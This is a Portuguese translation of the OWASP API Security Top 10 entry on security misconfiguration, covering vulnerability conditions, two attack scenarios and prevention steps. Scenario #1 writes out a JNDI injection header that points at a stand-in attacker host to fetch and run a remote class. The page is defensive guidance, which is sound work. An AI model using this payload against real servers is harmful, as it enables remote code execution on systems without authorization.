Ir para o conteúdo

API8:2023 Security Misconfiguration

Agentes Ameaça/Vetores Ataque Falha Segurança Impactos
Específico da API : Abuso Fácil Prevalência Predominante : Detectability Fácil Técnico Severo : Específico do Negócio
Os atacantes frequentemente tentam encontrar falhas não corrigidas, endpoints comuns, serviços a funcionar com configurações padrão inseguras ou arquivos e diretórios não protegidos para obter acesso não autorizado ou conhecimento do sistema. A maior parte disto é conhecimento público e os exploits podem estar disponíveis. A má configuração de segurança pode ocorrer em qualquer nível da API, desde o nível da rede até o nível da aplicação. Ferramentas automatizadas estão disponíveis para detectar e explorar más configurações, como serviços desnecessários ou opções antigas. As más configurações de segurança não expõem apenas dados sensíveis dos utilizadores, mas também detalhes do sistema que podem levar a um compromisso total do servidor.

A API é vulnerável?

A API pode ser vulnerável se:

  • As devidas proteções de segurança não foram aplicadas em qualquer parte da API, ou se houver permissões mal configuradas em serviços de nuvem.
  • Os últimos patches de segurança estão em falta ou os sistemas estão desatualizados.
  • Funcionalidades desnecessárias estão ativadas (por exemplo, verbos HTTP, funcionalidades de registo de eventos).
  • Existem discrepâncias na forma como os pedidos são processados pelos servidores na cadeia de servidores HTTP.
  • A Segurança da Camada de Transporte (TLS) está em falta.
  • Diretivas de segurança ou de controlo de cache não são enviadas aos clientes.
  • Uma política de Partilha de Recursos entre Origens (CORS) está em falta ou mal configurada.
  • As mensagens de erro incluem stack traces ou expõem outras informações sensíveis.

Exemplos de Cenários de Ataque

Cenário #1

Um servidor de API back-end mantém um registo de acesso escrito por uma utilidade de registo open-source popular de terceiros, com suporte para expansão de espaços reservados e pesquisas JNDI (Java Naming and Directory Interface), ambos ativados por defeito. Para cada pedido, uma nova entrada é escrita no ficheiro de registo com o seguinte padrão: <method> <api_version>/<path> - <status_code>.

Um ator malicioso emite o seguinte pedido de API, que é escrito no ficheiro de registo de acesso:

GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

Devido à configuração padrão insegura da utilidade de registo e a uma política de rede de saída permissiva, para escrever a entrada correspondente no registo de acesso, ao expandir o valor no cabeçalho X-Api-Version do pedido, a utilidade de registo irá buscar e executar o objeto Malicious.class do servidor controlado remotamente pelo atacante.

Cenário #2

Um site de rede social oferece uma funcionalidade de "Mensagem Direta" que permite aos utilizadores manter conversas privadas. Para recuperar novas mensagens de uma conversa específica, o site emite o seguinte pedido de API (a interação do utilizador não é necessária):

GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA

Como a resposta da API não inclui o cabeçalho de resposta HTTP Cache-Control, as conversas privadas acabam por ser armazenadas em cache pelo navegador, permitindo que agentes mal-intencionados as recuperem dos ficheiros de cache do navegador no sistema de ficheiros.

Como Prevenir

O ciclo de vida da API deve incluir:

  • Um processo de proteção reprodutível que possa ser implantado de forma fácil e rápida com vista a um ambiente de execução devidamente protegido.
  • Um processo de revisão e atualização de todas as camadas da API. A revisão deve incluir: ficheiros de orquestração, componentes da API e serviços na nuvem (e.g., permissões dos buckets S3).
  • Um processo automatizado para verificar de forma continua as configurações e definições em todos os ambientes (produção, staging, testes, desenvolvimento).

E ainda:

  • Assegure que todas as comunicações de API, do cliente para o servidor de API e qualquer componente downstream/upstream, ocorram através de um canal de comunicação encriptado (TLS), independentemente de se tratar de uma API interna ou pública.
  • Seja específico sobre quais verbos HTTP cada API pode utilizar: todos os outros verbos HTTP devem ser desativados (por exemplo, HEAD).
  • As APIs que esperam ser acedidas a partir de clientes baseados em navegador (por exemplo, aplicação web front-end) devem, pelo menos:
    • implementar uma política adequada de Partilha de Recursos entre Origens (CORS).
    • incluir os Cabeçalhos de Segurança aplicáveis.
  • Restrinja os tipos de conteúdo/formatos de dados recebidos àqueles que cumprem os requisitos funcionais/de negócio.
  • Assegure que todos os servidores na cadeia de servidores HTTP (por exemplo, balanceadores de carga, proxies reversos e diretos, e servidores de back-end) processem os pedidos de entrada de forma uniforme para evitar problemas de dessincronização.
  • Quando aplicável, defina e faça cumprir todos os esquemas de dados de resposta da API, incluindo respostas de erro, para evitar que informações de exceções e outras informações valiosas sejam enviadas para os atacantes.

Referências

OWASP

Externas